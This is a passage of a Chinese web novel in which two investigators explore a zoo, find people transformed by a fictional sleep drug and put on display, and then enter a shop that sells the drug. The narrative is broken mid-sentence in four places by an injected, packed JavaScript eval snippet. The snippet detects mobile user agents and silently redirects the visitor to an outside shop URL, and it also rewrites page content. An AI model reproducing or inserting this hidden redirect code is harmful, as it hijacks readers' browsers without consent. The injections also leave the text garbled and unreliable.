蕾拉虽然是面不改色,但实际上,已经有三名赦令大楼情报组的人员冒充游客偷偷潜入了。 “他对你说了什么?” “柏西的姐姐应该就在这里。” “啊?” “是的,他还跟我说了LOOP001的事情,据说柏西的姐姐也是因为过量使用了LOOP001才……” “他说什么你就信什么?”一提到这个罪犯,蕾拉就没半点好气:“就算是,这也不是他把人家绑了的理由。” “柏西为什么会和你们失去联系呢?真的因为他调查到了市场的核心吗?” “……唉,说来话长。”蕾拉似乎在犹豫要不要对面前的人和盘托出,但是想到对方是被卷进来的,还是如实说道:“其实由于赦令大楼的战斗特质,我们一直有一个不成文的招募规则,就是不招有兄弟姐妹父亲母亲还在世的人。” “简单来说,就是倾向招募孤儿。可这是为什么?”宴希鸣很快反应过来:“因为这些人有软肋?” “是啊,只有没有弱点的人才会表现出更强烈的战斗欲望。柏西在被招募的进来的时候就是以孤儿的身份,他可从未告诉过我们,他有一个姐姐。” “直到这次,他在渡城失踪了,我们一路追查才发现,他的姐姐竟然是市场的客人。如今沉睡剂无孔不入,一直在吸引着那些对过去有着执着幻想的人,所以这并不奇怪。” “柏西在调查loop001的时候,发现了他姐姐的事情,于是沿着一路追查过去,被市场的人发现了,由于长达三天没有消息回传,我们这才判定他失踪了。” 宴希鸣打断道:“她的姐姐购买了沉睡剂,这是你们追查才发现的,柏西知道的应该在你们之前吧,他没有要告诉你们的意思吗?” “是啊,他没有。赦令大楼要员的亲属也是市场的客人,他估计怕说出来也会影响到自己的声誉吧,虽然我不是很想这么说,但是人之常情,柏西和他姐姐也不怎么联系的,不然他也不会这么多年都没有回过渡城。” “可我看,改写师和你谈判的时候,似乎有求和的意思。” “这是他们想求和就求和的事吗,抓的时候在挑衅,抓完就害怕了,早就看这群人不爽了,这次让他们吃不了兜着走,还有那个改写师,我就说最近怎么整个城市都是涂鸦,感情是他到渡城当说客来了,哼,我倒要看看他有几条命够胆子当这个说客。” 蕾拉说完拍了一下宴希鸣的肩膀:“人藏哪儿了,你有想法没有?” “我刚刚逛完了林地区,没有什么特别的。不过有一个游客告诉我,傍晚六点的时候,剧院会有一场表演。”说完宴希鸣指了指地图上剧场的位置:“我们应该要去这里逛逛。” “那我们就先去林地区逛逛。对了,我们的入场券为什么和其他人的不一样?” 蕾拉指了指她脖子上的吊牌,不同的是,他们的入场券除了有个壳子做包装,上面的动物也更多了些,普通游客的入场券上蕾拉在售票处有看到,只有简单的狮子和斑马。 “我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407387|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道,说是特殊联票,改写师说有了这个我们可以畅通无阻。” “改写师给的东西一定没安好心。“蕾拉说:”我们先走吧。” 他们从大门入口继续坐观光车来到了高山区的入口处,这里有一个箭头,指着竹林一直往上,示意游客沿着竹林的石阶往上走。 “这台阶是不是也太长了。“宴希鸣抬头看着一眼望不到头的翠绿,感慨道:”难道就没有电梯?” “有的哦。”南瓜头工作人员突然冒出了个头说道:“可是上个月直达电梯就坏了呢,上山的路只能爬上去了,不过下山的路有直梯,您放心哈。” 宴希鸣只能接受了这个事实。再一回身蕾拉已经爬上去很远了。 竹林里的光线黯淡了下来,风吹过传来窸窣细碎的竹叶拍打声,好在前方还有六七个游客,把那种有些奇异的寂静给遏制了下来。宴希鸣不自觉地朝蕾拉靠近了两步。 “你害怕啦,哈哈哈。”蕾拉立刻反应过来,洋洋得意的问。 宴希鸣没有反驳,只是低下头继续跟在蕾拉身边走。 随处可见路灯上的监控,让她有种事实被监视的感觉。 果不其然,红色的摄像头转动了。 像是一个动作僵硬的人迟缓地朝向了她的方向,对准了他们的脸。如果此刻摄像头上有表情,那么一定是个笑脸。 蕾拉也发现了这一点,朝着摄像头瞪了一眼。 他们爬了十分钟后,终于可以看见上方有一个平台,被竹叶遮掩了大半。直到再往上走一段,平地渐渐露了出来,他们这才发现上方竟然连接的是一个走廊! 不是什么观景平台,而是一整条走廊。 前面一秒还在爬山,下一秒就来到了室内,这种奇异的切换让人有种错乱感。 走廊的右边是透明而牢固的落地观景窗,一整面的窗擦拭的十分干净,纤尘不染,如果不是上手去摸,估计完全发现不了这个落地窗的存在。 走廊的头顶也是透明的,可以直接看到外面蔚蓝的天空,看起来他们已经爬到接近山顶的位置了。 当宴希鸣看到左侧墙壁上贴着的解说词的时候,她这才发现右边的天上实际上有一个巨大的网,把整个山都笼罩在了里面,网之内,有一只小金丝猴正在假山上爬来爬去,有一只大的金丝猴正在帮它整理毛发。 “大家请看,金黄色长毛的就是金丝猴,金丝猴是一个庞大的家族,细分有许多不同的品种,它们的面孔是天蓝色的,大家可以看到,金丝猴宝宝现在还是灰黑色的……” 南瓜头解说员跟随着游客的步伐在介绍着。 除了金丝猴,还有猕猴、黑叶猴等动物,都在玻璃的另外一侧被分隔开。 宴希鸣一边走着,一边看墙上镶嵌电子屏幕上划过的解说词。 “在漫长的进化中,即便人类和灵长类动物溯源于同一个祖先,但却走出了不同的进化道路,人学会了直立行走,掌握了复杂的社会文化,进化出了高度发达的大脑。 人类相比于灵长类动物体现出了如此巨大的差别,这就说明我们是如此智慧的生物,与众不同。 生命就在进化和革新的过程中,更加强大。” 末了还有一行字。优势体现差别,创新造就伟大。 虽然总体上的确是这么一回事,但宴希鸣盯着电子屏幕,心中还是升起了一丝异样的感觉。 12. 第 12 章 “我们是高级的生物,与众不同。我们理应以此为傲,改造世界。” “并非如此。”蕾拉也正盯着那行字出神,但身边有一个坚定的声音打断了她,转眸一看竟然是宴希鸣,她看了那行小字一眼,睫毛一扫就反驳道。 “怎么了?”蕾拉被她突然出声感到有些困惑:“不过,这个解说词确实有些奇怪。” “实际上并没有什么不同吧,人类一旦丧失理性和道德,和普通动物也没有什么区别。” 宴希鸣没有再看向那里,而是看着透明窗前方在树枝间晃荡的猴子,悠悠地说道:“情感和思维本来就不是人类独有,贵族也自诩为自己是高贵的物种,与众不同,他们蔑视生命,喜好凌辱他人,认为自己处在生态位的顶层,可以随意支配他人,这不就是人类高高在上的地位情结吗?” “贵族看中出身,财富,金钱,地位,以此引以为傲,所谓的和普通人的本质区别……呵,按他们的逻辑,如果有一天失去了所谓的地位,他们不就从高贵变得低贱了吗?他们以自己为中心构建的叙事依据如此脆弱,但是日复一日的传播它,向世人宣传它,因为他们的内心也很脆弱啊,所以一定要分出一个高下,不然就没有利用统治其他人的理由了。” 宴希鸣很少一口气讲这么一段话,蕾拉不由愕然,但是两人的观念又是如此接近,宴希鸣像嘴替一样把她心中想说的话都说了出来,这令蕾拉感到十分高兴。 两人就继续往前走,除了猴子,这里还有其他的动物,比如在假山上藏起来的小熊猫、还有端坐着的方方正正的藏狐。 “你有没有发现,走廊不是完全水平的。” 的确,走廊在以一种几乎无法察觉的倾斜角度往上衍生,其实他们还是在一个爬坡的过程。 直到终于来到了一块平地。 “您好,外面的路是通往下山的方向哦,此外,外面还有一片风景台,可以带着您的家人一起在风景台上坐坐,看看山顶上的风景哦。” 工作人员对着人群说道:“请一定要看管好您的小孩。下山的路都很抖,注意防止摔倒。如果有老人等不方便行动的游客,请乘坐观光直梯下山哈。” 这就结束了? 宴希鸣走了两步来到了山上,只见外面粉红色的异木棉开得遍山都是,一树都是粉色,像是染了色的棉絮,颜色温柔的不像话,不知道那棵树上传来了清脆的鸟鸣,裹挟着山风的凉意,令人心旷神怡。 如果不是此刻有艰巨的任务在身,宴希鸣也想在这坐会喘口气。 “喂,别看了,你快来。” 果然休息了不到半分钟,就传来蕾拉悄声的召唤。 “来了。” 宴希鸣五六步走过去,这才发现走廊的尽头还有一个展厅,只不过没有对外开放。 立牌海报上写着:特别展馆。 建议游玩的顺序为林地区-高山区-海洋馆。 这个建议顺序写在这里有些突兀?不过宴希鸣低头看了看地图,发现地图下方也有一行标语写着一模一样的行走路线。 宴希鸣完全是误打误撞,按地图顺序走的,哪里方便去哪里。 不过不同的展馆也没看出太多的不同之处啊,这个顺序无非是更方便搭乘观光车而已,那又为什么特意要在特别展馆前标出来? “妈妈,我要去看这个。” 耳边传来小孩子的叫声,但是门口有南瓜头工作人员阻止了他们。 “不好意思,没有买特殊联票的客人是不让进的哦。” “什么啊,我们买的就是联票啊。”女人出示了自己手中的门票。 南瓜头的工作人员只是客客气气地又重复了一遍:“不好意思,没有买特殊联票的客人是不让进的哦。” “那我们现在补一张可以了吧。” 南瓜头的工作人员说:“不可以呢,今日的票已经售罄了。” “什么啊,你们售票处明明没有说什么特殊联票啊!” 眼看着小孩就要苦恼起来了,但是工作人员依然保持着看不出来的微笑,双手交叉站在原地,直到用这样的僵持目送着他们离开。 这下所有人都知道了,没有特殊的票是不让进的。 “我这边有票。” 一对小情侣挤了过来。男方手上正拿着一张票,和挂在宴希鸣脖子上的吊牌里的票一模一样,都是有很多动物的图案。 蕾拉呢,由于她觉得挂在脖子上很傻,所以一直放在裤兜里,这会儿她也掏了出来,仔细查看这个门票上的字。 可是门票上也没有任何有关于特殊联票的说明。 南瓜头工作人员接过小情侣的门票,对他们说:“这里面请。” 宴希鸣连忙把票给递给工作人员:“我们这也有。” 工作人员核查了他们的票后,也让他们进去了。 刚一进门,展厅的门就咯吱一声关闭了。 里面的空气很凉,光线也很暗。 但每一个展柜都用暖黄色的灯照着,静的没有任何声音,那对小情侣就在他们前面不远的地方走着。 “叮咚。” 头上有什么突然响了。 接着,一个带着笑意但是没有任何感情的电子女音念出了温馨提示。 欢迎您来到特别展览馆。此次展览的目的是为了给您带来别开生面的体验。 以下播放注意事项。 进入展馆请一定要轻声细语,文明观展。 小朋友一定要在大人的陪伴下观看。禁止大声哭闹,以免使动物们受惊哦。 如果游客感到不适,可以及时去服务中心,或者联系我们门外的工作人员。 …… 宴希鸣突然想起服务中心今天已经被不明人员占据了,心想还是不去为好。 “宴希鸣,你看,这里都是爬行类动物。” 蕾拉朝她招了招手。 宴希鸣看到这边的展柜里都有枯枝,光从展柜里打下来,落在了里面蜷缩的动物上。 展柜里是一条蛇。它的颜色和枯木很像,以至于完全隐匿在了其中。 下一个展柜是一条翠青蛇,绿色的鳞片在树枝上移动,这是一种树栖蛇类。 “喂,你不要真的在认真看展啊,快看看这里有没有什么不对劲的地方。”蕾拉戳了宴希鸣一下:“我感觉这里怪怪的。” 宴希鸣双手插兜在看解说词,抬头看了一眼上方:“我是游客,我当然要认真看展了,你不是游客,你干什么来了,有不轨之心小心外面的工作人员给你请出去哦。而且你着急也没有,你看那个监控一直在看我们呢。” 果不其然,上方的监控闪着红点,一直在他们头顶上移动着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407388|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “老公,这里感觉凉飕飕的,我害怕。”前方的小情侣在窃窃私语道。 “这有什么啊,你看这条蟒蛇,这么大一条,你不觉得它很帅吗!” 一转弯,展柜里已经有蛇变成了其他动物,比如蜥蜴,几乎都在岩石上,和背景融为一体。 蜥蜴,蝾螈…… 宴希鸣想起了那些在实验中翻找的来自贵族的特殊手稿。 在“创造”那些怪物的时候,贵族不就是参考了他们的原型吗? “你怎么了?体温这么低?”蕾拉在这会拉了她一把:“你是怕蛇吗?” 宴希鸣摇了摇头:“我是冷!我好像知道,这个展厅的目的是什么了。” “你知道了?!” “突出某个群体的优越感,又放了不同的爬行类动物作为展览,这其实是……” 正在这时,那边传来了女人兴奋的叫声:“老公,你快来看,这里的展柜里好像是空的诶!” 宴希鸣心中咯噔一下,下意识地认为是展柜里面的东西跑出来了。 不管是什么,这都很危险!展厅的门还是紧闭着的,在他们之后好像没有人进来。 但头上的监控又在一直跟随着,难道是想把他们放在密室里一起灭口吗? 宴希鸣的脑中出现了恐怖的场景,以至于在凉飕飕的空气中胳膊上起了一层鸡皮疙瘩,她不由地抱紧了自己的胳膊。 不对,不对。 宴希鸣呼出一口气,如果此刻,园区的背后是贵族,或者是其他什么人,那自己的确可以这么猜测。可现在是改写师正在监管着这里啊,他怎么可能做出伤害自己的事情呢? 想到这里,她顿时放松了下来。 但蕾拉不知道他们的这层关系,而是如临大敌:“宴希鸣,你跟紧我啊。” 宴希鸣点了点头,挪动到蕾拉身边。 的确像是女人所说,这里什么也没有。 一面巨大的展柜,沿着墙壁严丝合缝镶嵌。里面有假山,还有真假难辨的绿树,就像一个小型的农村那样的装饰,地上还放着那种石槽,里面的食物还剩下一点残杂,但也分不清到底是什么。 里面空空如也,什么也没有。 “奇怪,这里面的东西呢。” 男人也沿着这个展柜走了一圈,用手在展柜上敲打了一下,但是奇怪的是,没有发出任何声音。 进入展馆请一定要轻声细语,文明观展。 宴希鸣想起了这句忠告,立刻对男人说:“最好不要违反展馆的规定,不知道会发生什么事,你的头上还有监控呢。” 正在这时,蕾拉走到了一个圆形的桌子前:“快过来,这边有眼镜!” 三个人都走了过去,桌子上果然放着四副眼镜,应该是特殊材质,镜片呈现淡淡的红色,镜架也显得十分厚重。 “是不是要戴上去才能看到是什么!”男人兴致勃勃地率先拿起,戴上后就跑到了展柜前。 过了大致一分钟。 那边安静的可怕。 直到男人的笑声传来:“你们快来看,这也太惊人了吧!我终于知道这里的票为什么死贵了!” 宴希鸣也拿着眼镜走了过去,在男人的催促声中戴上。 展柜里的东西在眼镜中清晰地呈现。但仅仅只是看了那里一眼,她就差点吐了出来。 13. 第 13 章 展柜内是一个温馨田园农场的布置,假稻子铺在石槽边,有些稻粒已经松散的滚落了下来,石槽里还有一点点积水,阴沉沉的覆没在底部。 石槽旁边,一只大型动物像鳄鱼一样缓慢地爬了过来,低头去够石槽里的水,它的头发却全部掉进了石槽地面,像是刚刚爬上岸的鬼。“它”的身上裹着麻袋一样的粗布衣服,在衣服遮不到的地方裸露出了它的四肢。 上面是灰色的、像犰狳一样覆盖全身的鳞片。鳞片从它身躯里的底部长了出来,蔓延到了全身,“它”朝前伸出了手臂。这样的四肢看起来就像是蜥蜴一样粗壮臃肿,它的行动行动异常缓慢,前肢与地面深深地接触落下一片投影,末端黑色的角质钩爪在地面上刮过发出刺挠的摩擦声。 它的前肢还保持着人手臂一样的长度,但后肢却略微缩短了,看起来就像是真正的动物,靠着攀爬前行。它甚至退行生出了尾巴,拖在后头,和身上被灰色鳞片覆盖的模样别无二致。 可从凌乱的头发、从它身上的衣服以及它像人类一样的爬行姿态看来,它——的确在之前是一个人。 如此不可思议。如此……悲伤。 “他们怎么敢!”蕾拉握紧了拳头,脸上的青筋暴涨,隔得这么近,宴希鸣能听见到她牙关咯吱的用力咬合的声音:“他是人啊!他之前是一个活生生的人啊!” 男人则是整个人都爬在玻璃上,低头去欣赏这个不可思议的生物,手掌像有吸盘一样紧紧贴在玻璃上。 那个生物毫无反应,看起来,里面也看不到外面的人。 这样的生物一共有三只,其中两只像球一样把自己裹了起来,背对着他们。 “神奇!神奇!他不是人了啊,都这样了,怎么可能还是人呢?”男人笑嘻嘻的转头,对着他们露出了可恶的微笑,指了指自己的心脏:“你看,我又不长这样。” 另外一个女人则是在后面拉他:“老公,我们快走吧,这个看起来太吓人了。” 宴希鸣冷冷凝眸,对他说道:“今天是你在观赏他,明天可能就是别人在观赏你了,你就这么自信他们的遭遇难道就不会发生在你的身上?” “是他们自己擅自注射药剂才变成这样,我又不是傻子,怎么可能做出这种事情,我看啊,这个药剂才是物尽其用,不仅能给人带来放松,还能制造出这么有意思的怪物,供我们取乐,发明它的人简直就是个天才啊哈哈哈哈哈!” 说完他大力拍了拍透明的墙,亢奋的像是喝醉了一样。 与之前不同的是,墙壁发出了裂缝的咔擦声,这道声音细碎而延长,在寂静的室内显得格外刺耳,好像即将要裂开。 里面的怪物也听到了这样的声音,惊恐的抬起头。 “有没有搞错,我就轻轻推了一下而已啊!“男人也赶紧后退了几步,一下子蹿出去老远,躲在了宴希鸣和蕾拉身后。 宴希鸣嫌弃地白了一眼身后的男人,再次抬起眼帘,朝那个生物看去。 看起来它的确对声音非常敏感。抬头时,才总算看清了它的脸。 它的脸……还依旧保留人类的特征。 可眉骨之下的眼睛不可思议的凸出,相比于体型,这样的眼球过于大了,让人联想到水下的青蛙,都长着那种漆黑浑圆的眼珠,眨动的时候有瞬膜划过。 嘴……嘴角也是裂开的,不发出声音的时候还看不出什么异常,但一旦嘴角动了,就像是一条不断往横向延伸的水平线,好像能一直延伸到耳根去似的。 它的头发已经分不清是什么颜色了,也许是灰褐色的,也许是暗棕色的,打了结一样一络络的贴在额头前。 它爬行着后退了两步,身上的灰色鳞片逐渐收缩,慢慢的,把自己的身体蜷缩成了一个球形,它的头脆弱地贴在自己的尾巴上,看起来可怜极了。 玻璃碎裂的声音停止了,可,没有真的碎开。 玻璃依然还是那面玻璃,和之前没有什么区别。 “嘻嘻嘻。” 天花板上的扩音器突然讲话,把他们在场的人都吓了一大跳,是一个机械的女声,在冰冷的室内回荡着。 “啊!!!”和他们的女人终于受不了眼前的诡异场景,大声尖叫了一声,这下在场的所有人身体都猛地一颤。 “闭嘴啊,你发什么癫?” 男人瞪了她一眼。 “真的好吓人,呜呜呜,我们快点走吧,本来这个东西就很恐怖,这个笑声也很吓人……” 的确,这个广播的笑声特别违和,就像是闹剧进行到一半,小丑登场了。 广播还在继续,没有感情的发出抑扬顿挫的女声:“各位游客,被吓到了吗!刚刚的碎裂声只是一个玩笑,提醒各位务必要文明观展哦!大家可以看到,我们可怜的动物们对声音是特别敏感的,一点点小小的动静都会让它们惶恐不安,所以请大家一定要保持安静,不要做出不文明的行为,否则,后果自负。” “太变态了。”蕾拉拽着宴希鸣的衣服,不知道是对她说,还是单纯发泄自己心里的愤怒:“明明把人当作畜生一样对待,还故意装出一副很呵护他们的样子,简直就是心理变态。” 宴希鸣小声说:“我想到一个不好的事情,既然说柏西的姐姐就在这里,那会不会就是它们之中的一员呢?” 蕾拉也明显是在思考这个问题,攥着她衣服的手也拉近了。 “咳咳,你放松,我要被你勒死了。”宴希鸣挣脱地往前拉了拉自己的衣领:“保持克制,保持冷静,即使是,你也做不了什么,监控,外面的工作人员……即使想救它们我们也不能直接就在这里把玻璃砸碎吧。” 广播以一种标准解说员的语气继续说道:“请大家仔细看,这就是过量摄入沉睡剂后产生的怪体,我们的展馆呈现的一共是三只,这三只都是雌性哦。它们畏光,容易惊恐,在平时表现的攻击性很低,但是也不意味着它们不会攻击人类,有的时候会有暴起的现象发生,所以我们必须与它们保持距离,谨慎对待。” “变成怪体后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407389|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它们的存活期一般会维持在三周到六个月,之后的生命特征会逐渐衰弱,身上的鳞片是它们的铠甲,它们的腹部没有鳞片,而是灰色的毛发,所以当它们害怕的时候会把自己蜷缩起来以保护自己的腹部。但是,最脆弱的地方不是它们的腹部,而是他们的心脏,鳞片一直延续到它们的胸口下方,因此心脏也被鳞片包裹。所以如果没有能力击碎它们的脑袋,那就只能刺穿它们的心脏,否则它们的续航能力可是很强的呢。” 宴希鸣在这时把眼镜摘下来了,把眼镜架合拢:“我想吐,呕吐袋呢?” 一转头,就发现那个女人也满眼含泪的看着她,重重地点了点头,表示自己和她一样的心情。 “怪体的思维几近与无,它们不会思考,不会判断,因此怪体之间也不会交流,咦,我好像听见观众朋友们在问,怪体之间会打架吗?对于这种不存在繁衍问题,也不需要考虑生存方式的生命来说,打架是一种没有必要的耗能方式呢,所以怪体通常不会打架。好啦,关于怪体,它们还会呈现出哪些特性呢?请大家尽情观察与探索,感谢您的参观!” 说完,广播就结束了。宴希鸣和蕾拉与彼此对视了一眼。 “太头疼了,让我想想怎么办。”蕾拉叹了一口气,也取下眼镜,不愿再看那边的场景,而是看了一眼头上监控,率先推开门走了出去。 “我觉得你也没有多少选择。首先,这个玻璃一看就是特殊材质,怎么打开就是一个问题。其次,即便打开了,这三个怪体你要怎么带走,漫山遍野的监控我们不可能逃得掉吧?还有,它们看起来已经没有了人类的思维了,根本不会配合你,咬你一口的可能性更大。”宴希鸣飞速分析着:“不然就上高科技吧,天降神器,把守卫全部干掉,把它们救走。” “那样所有人都知道这里藏了什么了。”蕾拉叹气:“沉睡剂……到目前为止还是一个秘密。” “那这个秘密知道的人也太多了吧。” “大家都心照不宣的保守这个秘密,是目前最好的状态,甚至市场也在刻意隐瞒,只给少数有意愿购买的客户提供,如果连这个秘密都不存在了,沉睡剂泛滥,那城市才是真的完蛋了。” “可是你无法保证永远守护着这个秘密。”宴希鸣转头,目光饱含深意:“等待着雪山崩塌是很不明智的,你们好像那个鸵鸟,以为把头埋在沙子就可以解决一个问题。” “喂,不许嘲讽赦令大楼!” “我没有嘲讽你啊,我说的是事实啊。” 宴希鸣看着那对小情侣也从中走了出来:“我有一个好主意。” 蕾拉眼珠子一转:“你是想跟着他们?” “是啊,你看这个男的明显就是一肚子坏水,他一看就是沉睡剂的老常客了,这个动物园肯定藏的不止这一处东西,我们只要跟着他就行,现在你也没有更好的办法了。” “只能这样了。”蕾拉低头看了一眼时间,强压着内心的不甘说道:“就让我看看,这里该死的到底都有什么。” 14. 第 14 章 宴希鸣和蕾拉一路尾随着那对小情侣坐上了观光车,宴希鸣立刻将自己带入了穿着便衣执行秘密任务的调查员,虽然此时也确实是这么个事儿。但,当他们在观光车上与那对小情侣正面四目相对的时候,她还是觉得有些尴尬,于是低头咳嗽了两声,还没将头移开,对面的女人也讪讪地搭话:“真巧啊,你们也是去购物中心的吗?” 他们是在观光车上面对面坐着,因此宴希鸣也毫不意外地看到了对方手上拿着的那种特别联票,和自己脖子上挂着的一模一样,她不动声色地别开目光:“嗯,是啊。” 两个人沉默无话。 蕾拉听着他们两个人尬聊,连忙接过话题:“你们说,他们为什么要开那个特别展览馆,你们不觉得吓人吗?” 女人赶紧点头如捣蒜:“对啊!你也觉得吓人对吧,好好的一个人变成了那样,还要被展览出来……” 宴希鸣心想,这才是正常人的想法啊! 但是她的伴侣则是不屑地将头撇向一侧,看着观光车外飞速掠过的风景,植物划过的绿色线条落在他的眼睛里,但是没有聚集在一个点上:“那有什么可怕的,都被关起来了,又不会伤害你,本来就是供人玩乐的玩意儿,你要是害怕,我就再也不带你去了,行了吧!” 女人收回了嘴边的话,怯生生地朝他看了一眼:“哎,我也不是这个意思嘛……” 宴希鸣不忍再听下去,于是对那个女人再将刚才的问题抛回去:“你们也去购物中心?” “对啊,来这里不主要就是去那边的吗?”女人有些暧昧地挤了挤眼神:“其实地下市场里也有,但是品质良莠不齐,我有些不放心,这里毕竟是官方的市场,质量会好很多……” “在外面不要说这个。”男人粗暴地打断了她的话,又警告性的瞪向宴希鸣,但宴希鸣只是一言不发着冷漠地和他对视,僵持了一会儿男人将目光撇开:“到了,快下车。” 有几乎一半的人都在此刻下了车。 只见此处是一个旷阔的湖泊,湛蓝的湖水在和煦的微风中荡漾着,与蓝天在湖中的倒影相互交融,湖水中还倒影着周边建筑的影子,一个车轮在揉起褶皱的湖面上缓慢转动着。 宴希鸣抬头看到了左前方矗立着的摩天轮,它如此之高,顶端仿佛与云相接。 右边是一座紫色的建筑,连它的圆型穹顶都是紫色的,从二楼的位置垂下一整片紫罗兰瀑布,覆盖住了原本的墙面。“购物中心”这四个大字用浮雕花纹装饰着镶嵌在最醒目的入口处,饰有金色把手的门往两边敞开着,欢迎游客的进入。 门口有招牌写着: 欢迎持有特殊联票的游客进入。 夏方动物园纪念品,欢迎购买留念。 内有监控,请勿盗窃,如有发生,追责到底,谢谢配合! 商品详情可随时咨询前台,很高兴为您服务。 “这个地方也要特殊联票……” 宴希鸣低头看了看自己脖子上的吊牌:“我怎么有种不妙的预感。” “你预感真是对了。”蕾拉跟在身后抬头看着雕花的四个大字:“我知道这里面是什么了。” 说完,她就一脚踏入了购物中心。 店里整洁、干净,入口的两排展示架上放着各种动物的玩偶,墙壁的洞洞板上则是挂着钥匙扣和各种挂坠,比如眯着眼睛的老虎,在桶里泡澡的水豚等等,造型多样,很多游客已经左手一个右手一个的挑起来了。 这时宴希鸣推了推蕾拉,让她看向通往楼梯的方向,只见方才那对小情侣已经往挂着紫罗兰瀑布的方向走去了。 “走,我们也看看去。” 蕾拉二话不说就跟在了他们背后。 二楼的景象有些让他们感到吃惊。 右边有一个独立的结算台,两个南瓜头店员就站在那里。空气中有一股来自薰衣草的花香,清新、柔和,皱起的眉头在闻到它的一瞬间就舒展了,转而复杂的念头也随之放下,就好像有一个棉麻的枕头摆在面前说,快睡吧,快睡吧。 宴希鸣不由自主地抬手打了个哈欠。 “喂,你在做什么,清醒点!”蕾拉说。 “好困啊。”宴希鸣揉了揉眼睛:“这个味道真好闻,好像回到了我一米五乘两米的大床。” “你够了……” 蕾拉无语地捅了捅她的腰,其实是因为她的身高不够。“你看那边货架上卖的是什么?” 只见每个白色货架上,都摆满了东西。 凑过去看就发现里面放着一个个打火机般大小的瓶子,瓶子里装有液体,但不满,只装到了容积的三分之一处。它们被装在一个个透明的盒子里,按分类放在货架上。 沉睡剂。 几乎那一刻就有一个声音在心里笃定地说道,这就是沉睡剂。 宴希鸣回想起以前在实验室里看到的花花绿绿的瓶子,和眼前对比起来果然不像是同一个东西,眼前的更像是一种包装完整的商品。 宴希鸣伸手想去拿,手指触碰到一片冰凉,才发现货架是被一个完全隐形的屏障保护着。 与此同时,透明屏障上跳出一行提示。 只有在旁边的屏幕上选择支付后,商品才会自动掉落。 每行货架上都有输送商品的铁轨,连接到货架的取物口。看起来和自动售卖饮料机的消费方式差不多。 宴希鸣认真比对起不同的沉睡剂来。 沉睡剂的取名方式都非常随意,比如“月夜”、“星空”。他们之间的主要区别就是沉睡剂每次使用需要的间隔时间以及单次使用的持续时间,还有一个清醒度。 注意单次抽取剂量:3毫升(约莫半茶匙)。 频率间隔:7天。 持续时长:每次15分钟。 清醒度:五档(清醒梦)、四档(甜美小憩)、三档(浅梦)、四档(酣梦)、五档(深度沉睡) 请在购买前仔细阅读沉睡剂使用指南。 “……不,我不想阅读这个东西。” 宴希鸣发现基本上需要间隔时间越长的沉睡剂更便宜,持续时间越长的会越贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407390|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,比如说持续时长为30分钟的,价格要比15分钟的翻了一倍。 最便宜的一瓶价格也需要一百伽元。 蕾拉也正在点不同的商品信息,正当他们对着一个名为“无夜”的沉睡剂讨论的时侯,屏幕上自动跳出一行文字。 “鉴于您长时间没有操作,现在自动播放《沉睡剂使用指南》。 沉睡剂的使用旨在为您创造一个身心愉悦的环境,使您感到放松、愉快是我们最大的使命。 为使您的体验更加安全、有效,我们建议您悉知: 1.请在一个您感到安全且安静的环境下使用,这样有助于您不被他人打扰,增进您的体验。 2.请尽量选择官方店或官方授权店,地下市场的商品若出现品控问题也许会对人体造成伤害。 3.请妥善保管未使用完的沉睡剂,保持密封防止液体挥发,超过三个月已开盖的商品不建议继续使用,请妥善处置使用完的空瓶,切勿随处抛掷。 4.在您购买物体时,请详细阅读商品信息,特别注意不同品类的持续时间、使用所需间隔时长以及清醒度。初次使用的客人建议从四档(甜美小憩)开始,尤其不建议从五档(深度沉睡)开始,避免造成不良反应。请严格遵守有关于使用间隔时长的规范,切勿在短时间内频繁使用,否则将造成不可逆的副作用。 最后一段话被标出了红字。 “造成不可逆的副作用……”宴希鸣几乎从鼻孔里哼出了一声:“行啊,什么副作用一句话不提,都长篇大论这么多了,把那种鬼样子描述一遍也不费几行字吧。” 蕾拉也嘲讽道:“看看这一段免责声明,多心系客户啊。” 5.特别提示:禁止在注射前食用水果 蕾拉指了指这段话:“水果是什么意思?” 宴希鸣没有回答她的话,只是盯着已经播放完的沉睡剂使用指南沉思。今天播放的这个怎么这么官方,和她曾经阅读过的邪恶版本不太一样了。 